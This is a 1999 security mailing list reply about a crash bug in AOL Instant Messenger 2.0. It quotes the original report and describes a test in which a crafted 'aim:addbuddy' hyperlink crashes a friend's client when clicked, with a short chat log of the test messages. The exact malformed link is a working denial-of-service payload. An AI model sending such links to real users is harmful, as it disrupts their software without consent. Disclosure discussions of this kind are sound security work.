Re: AOL Instant Messenger URL Crash

From: Daniel Reed (djrat_private)
Date: Tue Apr 20 1999 - 13:24:02 PDT

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    On Mon, 19 Apr 1999, Adam Brown wrote:
    ) There is a bug in the newer versions of AOL's Instant Messenger that will
    ) cause the client to crash when exploited.  All builds of version 2.0 that
    ) I've tested seem to be vulnerable, although I have not done extensive
    ) version testing.  AOL was notified of this about two weeks ago.  To exploit
    ) this bug, send a hyperlink in this format: aim:addbuddy?=screenname
    I just sent <a href="aim:addbuddy?=screenname">what does this show up as</a>?
    to an AOL AIM 2.0.996 user and once she *clicked* on it AIM crashed. I don't
    know if you meant to say that the user had to click on it for the client to
    crash, or if this is indeed different behaviour. I also just tried it with
    "screenname" replaced with first her screenname, and then with mine, again
    with no automatic reaction.
    
    (sent from linuxkitty, a naim-0.9.4-parse2 user, to <victim>, an AOL AIM
    2.0.996 user)
    [15:59:43] linuxkitty: [LINK:href="aim:addbuddy?=screenname":what
    does this show up as]?
    [16:00:23] Friend <victim> has just logged off :(
    [16:03:09] Friend <victim> is now online =)
    [16:14:14] linuxkitty: [LINK:href="aim:addbuddy?=<victim>":miaow
    miaow] (don't click on that, I'm just testing something)
    [16:14:50] linuxkitty: [LINK:href="aim:addbuddy?=linuxkitty":anoth
    er test...]
    
    --
    Daniel Reed <nat_private>
    Many a false step is made by standing still...
    



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